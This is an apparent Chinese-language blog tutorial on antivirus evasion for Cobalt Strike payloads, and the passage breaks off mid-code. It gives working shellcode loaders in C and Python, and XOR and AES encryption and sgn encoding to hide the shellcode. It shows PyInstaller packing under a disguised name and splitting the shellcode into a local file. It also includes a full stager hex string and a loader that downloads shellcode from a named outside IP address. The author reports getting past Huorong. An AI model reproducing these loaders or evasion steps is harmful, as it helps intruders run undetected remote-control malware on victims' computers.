写在前面
这两个月内网渗透接触的较多,大多公开的内网渗透靶场(如云镜)环境中都没有设置免杀,CS很轻易就可以连上,但是实战中Windows defender,火绒,360绕不过去,遂于5.18-5.30这12天仔细研究了一下CS免杀,做了一些笔记和总结,希望能形成自己的体系,弥补在免杀知识这一方面的空白。当然,我目前和下文所掌握和提及的免杀技术只不过是皮毛,更深入的免杀还需要深入学习windows底层和逆向工程方面的知识,共勉。
Shellcode与加载器
Shellcode基础
什么是shellcode
shellcode是一种特殊的二进制代码,这类二进制代码成功利用后会获取目标系统shell的权限
1
| 通常将二进制代码 => 16进制代码 \xfc\x48\x83
|
shellcode文件
shellcode通常以二进制个数存储,它由CPU直接执行
一个成功运行的大体流程:
1
| exe文件 -> 硬盘 -> 把exe内容读取到内存中 -> 将要执行的代码转换成二进制指令 -> cpu运行 -> 程序运行产生的数据都在内存中
|
shellcode如何运行
借助shellcode加载器在目标机器中运行
CS的shellcode生成

选择想要生成的语言即可

Shellcode加载器
什么是shellcode加载器
帮助shellcode文件/16进制字符串shellcode运行的工具
如何编写shellcode加载器
使用windows api
(1) 申请内存
(2) 把shellcode复制到这块内存中
(3) 想办法让这块内存中的shellcode被cpu执行
VirtualAlloc函数
申请内存
VirtualAlloc 是 Windows API中用于分配/申请、保留/提交内存区域的函数
1 2 3 4 5 6
| VirtualAlloc( _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect )
|
参数含义:
(1) IpAddress: 指定分配/保留的内存区域的首选基地址,若参数为NULL,则系统会自动选择适当的地址,所以一般都写NULL即可,也可以写0
(2) dwSize: 指定分配区域的内存的大小,以字节为单位
(3) flAllocationType: 指定内存的分配类型
通常使用 MEM_COMMIT|MEM_RESERVE 的方式进行使用
(4) flProtect: 指定内存的保护属性
直接给满权限 -> 可读可写可执行 -> PAGE_EXECUTE_READWRITE
memcpy函数
复制shellcode到申请的内存区域中
用于将内存块中的内容从一个位置复制到另一个位置
1 2 3 4 5
| void* __cdecl memcpy( _Out_writes_bytes_all_(_Size) void* _Dst, _In_reads_bytes_(_Size) void const* _Src, _In_ size_t _Size );
|
(1) void* _Dst: 指向目标内存区域的指针,即复制操作的目标位置
(2) void const* _Src: 指向源内存区域的指针,就是复制的目标
(3) size_t _Size: 要复制的字节数,直接 sizeof(buf) 即可
CreateThread
用于创建线程的函数
1 2 3 4 5 6 7 8
| CreateThread( _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ __drv_aliasesMem LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId );
|
需要关注的参数
IpStartAddress: 写我们申请的内存地址,注意:需要进行类型转换
剩下的一律写NULL
C语言加载器
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
|
#include <windows.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void main() { unsigned char buf[] = "\xfc\x48\x83...";
LPVOID addr = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(addr, buf, sizeof(buf));
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); WaitForSingleObject(hThread, -1); CloseHandle(hThread); }
|
运行生成exe执行后,便可CS上线了。
Visual Studio配置









Python语言加载器
不同的编程语言的免杀效果是不一样的
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import ctypes
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory CreateThread = ctypes.windll.kernel32.CreateThread WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
buf = b"\xfc\x48\x83..."
shellcode = bytearray(buf)
VirtualAlloc.restype = ctypes.c_uint64
addr = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x1000|0x2000, 0x40)
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) RtlMoveMemory(ctypes.c_void_p(addr), buf, ctypes.c_int(len(shellcode)))
thread = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(addr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) WaitForSingleObject(ctypes.c_int(thread), ctypes.c_int(-1))
|
python打包exe
安装环境
1 2
| pip3 install pyinstaller pip3 install pyinstaller==5.8.0
|
打包命令
1
| pyinstaller -F -w demo1.py
|
-F: 打包成一个exe文件
-w: 不显示黑窗口,也可以用–noconsole参数
-i: 指定图标,.ico文件/.exe文件
-n: 指定打包好的文件名
–clean 清除上一次打包的文件
–key cjiurfe11a 混淆代码功能 (需要安装 pip3 install tinyaes)
1
| pyinstaller -F -w demo1.py -i "D:\Chanzi-SAST\ChanziSAST.exe" -n qqmusic --clean --key xxxx
|
Shellcode免杀
免杀
免杀的方法有哪些
1 2 3 4 5 6 7 8
| 1、加壳 2、shellcode混淆,加密 3、各种语言的加载器:C++、python、go、rust等等 4、分类免杀(远程加载),shellcode和加载器不写在一个文件中,远程加载等等 5、白加黑(百名但程序执行恶意样本) 6、使用github上的一些免杀工具 7、自己写加载器,通过一些冷门的加载方式运行shellcode 8、自己写/二开远控等等
|
杀软
常用网站
1 2 3 4 5 6 7
| 1、测试样本查杀网站,调用很多杀软的引擎进行查杀 若免杀样本需要在实战中使用,不要向vt上上传,因为可能会标记 http: http:
2、云沙箱 http:
|
静态查杀
通常使用病毒特征库,从**”特定代码片段”、”独特的字符串”、”文件结构”**等几个方面,若文件中的这些特征和病毒特征库匹配,则认为其是木马病毒。
代码中的函数
如windows api函数,和内存、堆、线程相关的函数
1
| virtualalloc, rtlmovememory, createthread等等
|
注:同一个windows api函数,不同的编程语言,可能杀C不杀python
shellcode特征
CS shellcode特征如 \fc\x48\x83

文件名和md5
所有以tgp_daemon.exe
为名的程序一律被判定为银狐木马
每个文件都有一个md5 hash
1
| CertUtil -hashfile 文件路劲 md5
|
当样本被查杀时,hash值会被记录下来,下次再扫描时就会直接报毒

当样本免杀了,hash值同样会被记录下来,下次就不会再扫描这个样本了,就实现了永久免杀
加密
使用加解密行为或者加壳行为可能会被杀软报毒
数字签名
白程序都是有数字签名的,某些杀软会看这个exe的数字签名是否合法
以百度网盘为例

资源文件
杀软会查看exe的资源文件是否为空

动态查杀
杀软有云沙箱,相当于开一个虚拟机运行你上传的恶意样本,通过分析程序指令出现的顺序/特定的组合情况以及所调用的函数及其参数是否属于恶意行为特征,来判断是否是病毒。
网络相关
1 2 3 4 5 6 7
| 查找会连的ip/域名是否之前被标记成cs远控
通信流量内容 内容特征:数据包中是否存在命令控制相关的关键词/加密特征 结构特征:是否存在已知远控的通讯结构特征,比如某些远控会追加\x00\x00\0x00\x00这样的空字节
有的CS一上线执行命令就被杀,很可能就是流量特征被查杀了。
|
内存相关
1 2 3 4 5 6 7 8 9
| 1、内存中存在的特征码 - 可以修改 ReflectiveLoader(CS中的), beacon.dll等
2、内存相关的属性 rwx(shellcode,申请了可读可写可执行的内存),一般为rw 绕过方法:先申请一块可读可写的权限的内存,等程序运行一段实践之后再将其改成可以执行的权限,就可以绕过对内存属性的检查
3、上线后,执行shell whoami后被杀 因为,shell whoami的原理是起一个cmd子进程运行,有的杀软会直接查杀不正常的进程链
|
360云传
将样本上传到云沙箱进行运行、分析检测
Shellcode处理
shellcode加解密
CS十六进制数值特征:FC4883E4F0E8C800000041

杀软一下子就会扫到这种特征,所以需要加密
异或加密
异或是一种二进制位运算,相同为0,不同为1,不做详细解释了。
python加密代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| def xor_encrypt(shellcode, key): encrypted_shellcode = bytearray() key_len = len(key)
for i in range(len(shellcode)): encrypted_shellcode.append(shellcode[i] ^ key[i % key_len]) return encrypted_shellcode
def main(): buf = b"\xfc\x48\x83..."
shellcode = bytearray(buf)
key = bytearray(b'henry')
encrypted_shellcode = xor_encrypt(shellcode, key)
print("Encrypted shellcode:") encrypted_shellcode_string = "" for byte in encrypted_shellcode: encrypted_shellcode_string += ("\\x%02x"%byte) print(encrypted_shellcode_string)
if __name__ == '__main__': main()
|
然后在C语言中解密shellcode并生成exe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| #include <windows.h> #include <stdio.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void main() { unsigned char encryptShellcode[] = "\x94\x2d\xed..."; char key[] = "henry";
unsigned char decryptShellcode[sizeof(encryptShellcode)];
for (int i = 0; i < sizeof(encryptShellcode); i++) { decryptShellcode[i] = encryptShellcode[i] ^ key[i % (strlen(key))]; }
LPVOID addr = VirtualAlloc(NULL, sizeof(decryptShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(addr, decryptShellcode, sizeof(decryptShellcode));
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); WaitForSingleObject(hThread, -1); CloseHandle(hThread);
|
测试可以正常上线并执行命令

上面尝试的是一次异或,还有可能出现一次异或不免杀,但是多次异或免杀的情况。
也可以将shellcode进行base64编解码进行加密。
AES加密
借用写好的C++实现的AES算法:https://blog.csdn.net/witto_sdy/article/details/83375999
自己编译了一个AES加密shellcode的exe程序,用法如下所示,shellcode字符串保存在shellcode.txt中
1 2 3 4
| E:\免杀\shellcode_AES\x64\Release>shellcode_AESencrypt.exe shellcode.txt 字符串类型shellcode: fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b81d0900004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f77424f550049558ad440f8cbb82090aabb087fbc19664bc522324df21287bc4c0feb261af1e02375e09cdf0cb267c3f2ded228bc046d585658d2aa7f844bdc02aa97319d0b0f49dcafa112674e0d00557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520382e303b2057696e646f7773204e5420352e313b2054726964656e742f342e303b205151446f776e6c6f6164203733333b202e4e455420434c5220322e302e3530373237290d0a00e891332d3bb9805d90d0202d53b562d2c920e2abe4478b6798b8ce5317acfecc8ca7fbaff1387110a225a5d21691d9cc114b70ba89c3d8839ee52bc862153a2d2d8fb60a38d51dad2206c5523c89a1beaf450d6b3e93ec484466535e94278ca38176fb76186b59e1ad1a974cd42f233709c173a62f4b20b08f4f36a2c4e43931b4ced5e6d4b89bbd6b2a453dd9528d5803ef65bd24185c7ea58bf1f88f1ae93418d3d20ab9b09a95f070778ad31154bb9bc10ca5a6f8c02ae2252941e30041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3130312e34322e31332e313035006faa51c300 AES加密shellcode: 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 AES解密shellcode: fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b81d0900004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f77424f550049558ad440f8cbb82090aabb087fbc19664bc522324df21287bc4c0feb261af1e02375e09cdf0cb267c3f2ded228bc046d585658d2aa7f844bdc02aa97319d0b0f49dcafa112674e0d00557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520382e303b2057696e646f7773204e5420352e313b2054726964656e742f342e303b205151446f776e6c6f6164203733333b202e4e455420434c5220322e302e3530373237290d0a00e891332d3bb9805d90d0202d53b562d2c920e2abe4478b6798b8ce5317acfecc8ca7fbaff1387110a225a5d21691d9cc114b70ba89c3d8839ee52bc862153a2d2d8fb60a38d51dad2206c5523c89a1beaf450d6b3e93ec484466535e94278ca38176fb76186b59e1ad1a974cd42f233709c173a62f4b20b08f4f36a2c4e43931b4ced5e6d4b89bbd6b2a453dd9528d5803ef65bd24185c7ea58bf1f88f1ae93418d3d20ab9b09a95f070778ad31154bb9bc10ca5a6f8c02ae2252941e30041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3130312e34322e31332e313035006faa51c300
|
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| #include <windows.h> #include <iostream> #include <stdio.h> #include "aes.h" #include "Base64.h" #include "doAes.h" #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void main() { string encbuf = "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"; string decbuf = DecryptionAES(encbuf); cout << "解密后的字符串为:" << decbuf << endl;
std::vector<unsigned char> tmp = HexStringToShellcode(decbuf); unsigned char buf[4096]; memcpy(buf, tmp.data(), tmp.size()); size_t buf_len = tmp.size();
cout << "回复后的shellcode数组为" << buf << endl;
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(addr, buf, sizeof(buf));
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); WaitForSingleObject(hThread, -1); CloseHandle(hThread); }
|
生成后点击成功上线CS

但是过火绒失败,悲。。
shellcode内存加解密
sgn工具,所有工具都检测不出来shellcode
https://github.com/EgeBalci/sgn/releases
命令使用
1
| sgn.exe -a 64 -c 1 -o pd_x64_stag.bin -i payload_x64_stag.bin
|
1 2 3 4
| -a:64位 -c:编码轮数 -o:编码后的文件 -i:编码前的文件
|

完全去除了shellcode的特征,对shellcode做到了完全免杀
因为是内存加解密,所以不需要在代码中写解密函数了。
首先将pd.bin转换成十六进制,python代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| def bin_to_hex_escape(file_path): with open(file_path, 'rb') as f: content = f.read()
hex_escape = ''.join([f'\\x{byte:02x}' for byte in content]) return hex_escape
input_file = 'E:\免杀\免杀工具\sgn\pd.bin' result = bin_to_hex_escape(input_file)
print(result)
with open('output.txt', 'w') as out: out.write(result)
|
编译成exe自用

使用C++ shellcode加载器加载,生成shellcode.exe执行
1 2 3 4 5 6 7 8 9 10 11
| #include <windows.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void main() { unsigned char buf[] = "\xe8\xa8\x03..."; LPVOID addr = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); memcpy(addr, buf, sizeof(buf)); HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); WaitForSingleObject(hThread, -1); CloseHandle(hThread); }
|
成功上线CS

但是火绒依然报毒。。。但是已经可以排除shellcode的问题了,有可能是代码结构、数字签名、资源文件等问题了。
shellcode分离
本地分离
将shellcode以文件读取的方式写入,C++加载器加载运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| #include <windows.h> #include <stdlib.h> #include <stdio.h> #include <iostream> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
int main() { char fileName[] = "conx.bin"; FILE* file;
if (fopen_s(&file, fileName, "rb") != 0) { perror("Failed to open the code file"); return 1; }
fseek(file, 0, SEEK_END); long size = ftell(file); fseek(file, 0, SEEK_SET);
char* code = (char*)malloc(size); if (!code) { perror("Failed to allocate memory for code"); fclose(file); return 1; }
size_t bytesRead = fread(code, 1, size, file); if (bytesRead != size) { perror("Failed to read full file content"); free(code); fclose(file); return 1; }
fclose(file);
printf("读取成功!文件内容如下:\n\n"); for (long i = 0; i < size; i++) { printf("%02X ", (unsigned char)code[i]); if ((i + 1) % 16 == 0) printf("\n"); } printf("\n");
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); memcpy(addr, code, size); HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); WaitForSingleObject(hThread, -1); CloseHandle(hThread);
free(code); }
|
conx.bin 就是 payload.bin,心理作用改个名,怕杀软看到payload字样直接给杀了。
测试运行,CS成功上线

火绒成功免杀

免杀马要保存好,如果是记录哈希那种的杀软,过了一次之后就可以实现永久免杀了。
网络分离
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| #include <windows.h> #include <winhttp.h> #include <iostream> #include <string> #include <vector> #include <algorithm> #include <cctype> #pragma comment(lib, "winhttp.lib") #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
std::vector<unsigned char> parseEscapedShellcode(const std::string& input) { std::vector<unsigned char> output; for (size_t i = 0; i < input.length(); ++i) { if (input[i] == '\\' && i + 3 < input.length() && input[i + 1] == 'x') { std::string byteStr = input.substr(i + 2, 2); unsigned char byte = static_cast<unsigned char>(std::stoul(byteStr, nullptr, 16)); output.push_back(byte); i += 3; } } return output; }
int main() { LPCWSTR host = L"101.42.13.105"; LPCWSTR path = L"/pd.txt";
std::string rawData; DWORD size = 0, downloaded = 0; LPSTR buffer; BOOL success = FALSE;
HINTERNET hSession = WinHttpOpen(L"MyApp", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); HINTERNET hConnect = WinHttpConnect(hSession, host, INTERNET_DEFAULT_HTTP_PORT, 0); HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) && WinHttpReceiveResponse(hRequest, NULL)) { do { size = 0; if (!WinHttpQueryDataAvailable(hRequest, &size) || size == 0) break; buffer = new char[size + 1]; ZeroMemory(buffer, size + 1); if (WinHttpReadData(hRequest, buffer, size, &downloaded)) { rawData.append(buffer, downloaded); } delete[] buffer; } while (size > 0); success = true; }
WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession);
if (!success) { std::cerr << "[-] 下载失败" << std::endl; return 1; }
rawData.erase(std::remove_if(rawData.begin(), rawData.end(), [](unsigned char c) { return std::isspace(c); }), rawData.end());
std::cout << "读取内容字符串为:" << rawData << std::endl;
std::vector<unsigned char> shellcode = parseEscapedShellcode(rawData);
